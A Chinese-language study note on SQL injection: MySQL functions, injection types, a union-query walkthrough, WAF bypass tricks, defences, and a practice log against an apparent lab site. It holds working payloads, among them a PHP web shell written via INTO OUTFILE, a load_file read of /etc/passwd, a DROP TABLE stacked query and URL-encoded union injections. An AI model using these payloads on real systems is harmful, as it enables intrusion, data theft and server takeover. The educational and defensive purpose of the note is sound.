0527漏洞原理:SQL注入笔记
理论知识
1. SQL注入概述
定义:
- 攻击者通过将恶意SQL代码插入用户输入参数,欺骗数据库执行非预期操作。
- 动态网站(依赖数据库)易受攻击,静态网站(HTML)无此风险。
动态网站工作流程:
- 用户提交请求(如
id=36
)。 - 服务器动态构造SQL语句(如
SELECT * FROM Article WHERE id=36
)。 - 数据库返回结果,服务器生成页面返回用户。
攻击手段:
- 判断注入点 → 收集数据库信息 → 重构SQL语句 → 猜解库/表/字段 → 窃取数据或提权。
危害:
- 数据库信息泄露
- 服务器被控制
- 网页篡改或植入木马
2. SQL注入函数(MySQL)
常用函数
函数 | 功能 |
---|---|
user() | 当前数据库用户名 |
database() | 当前数据库名 |
version() | 数据库版本 |
@@datadir | 数据库存储路径 |
load_file() | 读取文件 |
into outfile | 写入文件 |
concat() | 字符串拼接 |
group_concat() | 合并多行数据 |
注释技巧
- 单行注释:
#
或--
(需空格)。 - 多行注释:
/*...*/
,可绕过WAF(如/*!50001 SELECT*/
)。
3. SQL注入类型
按数据类型划分
- 数字型注入:
id=1
(无需引号)。 - 字符型注入:
name='admin'
(需闭合引号)。
按执行效果划分
类型 | 特点 |
---|---|
联合查询 | 使用UNION SELECT 合并查询结果,需列数一致。 |
报错注入 | 利用updatexml() 或extractvalue() 触发错误回显信息。 |
布尔盲注 | 通过页面返回真假(如id=1 and 1=1 )逐字符猜解数据。 |
时间盲注 | 利用sleep() 延迟判断条件(如if(1=1,sleep(5),0) )。 |
堆叠查询 | 执行多条SQL语句(如id=1; DROP TABLE users )。 |
按提交方式划分
- GET注入:参数在URL中(如
?id=1
)。 - POST注入:参数在表单中(如登录框)。
- HTTP头注入:攻击
User-Agent
、Cookie
、Referer
等头部字段。
4. SQL注入实例
联合查询步骤
- 判断注入点:
id=1'
是否报错。 - 求列数:
ORDER BY 4
(直到报错)。 - 找显示位:
UNION SELECT 1,2,3,4
。 - 爆数据:
- 库名:
database()
- 表名:
group_concat(table_name) FROM information_schema.tables
- 字段:
group_concat(column_name) FROM information_schema.columns
- 库名:
文件操作
- 写文件:SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/shell.php';
- 读文件:
SELECT load_file('/etc/passwd');
5. WAF绕过技巧
方法 | 示例 |
---|---|
大小写混合 | UnIoN SeLeCt |
多重关键字 | ununionion selselectect |
编码 | %27 (单引号URL编码) |
注释 | /*!SELECT*/ 或 -- |
等价函数 | mid() 替代substr() |
特殊符号 | 用LIKE 替代= ,/**/ 替代空格 |
6. SQL注入防御
-
输入过滤:
- 使用
str_replace()
过滤敏感字符(如引号、注释符)。 - 正则表达式匹配非法输入(如
/[<>#]/
)。
- 使用
-
参数化查询:
- 预编译SQL(如PDO的
prepare()
)。
- 预编译SQL(如PDO的
-
最小权限原则:
- 数据库账户仅授予必要权限。
-
错误处理:
- 关闭详细错误回显,避免泄露信息。
-
WAF防护:
- 部署Web应用防火墙拦截恶意请求。
实际操作
实验网站 | ![]() |
添加单引号,页面报错,存在SQL注入(报错信息未被隐藏) | ![]() |
假设字符型,再添加单引号,报错。假设不成立,为数字型 | |
id=17%20order%20by %205--+ 爆破查询列数长度为25 | |
查询显示位数 id=17%20union%20select %201,2,3,4,5,6,7,8,9,10,11, 12,13,14,15,16,17,18,19,20, 21,22,23,24,25--+ id=-1%20unio…… | |
获取库名 id=-1%20union%20select%20 1,2,database(),4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20, 21,22,23,24,25--+ | ![]() |
# 对网站获取到库名即可停止和提交漏洞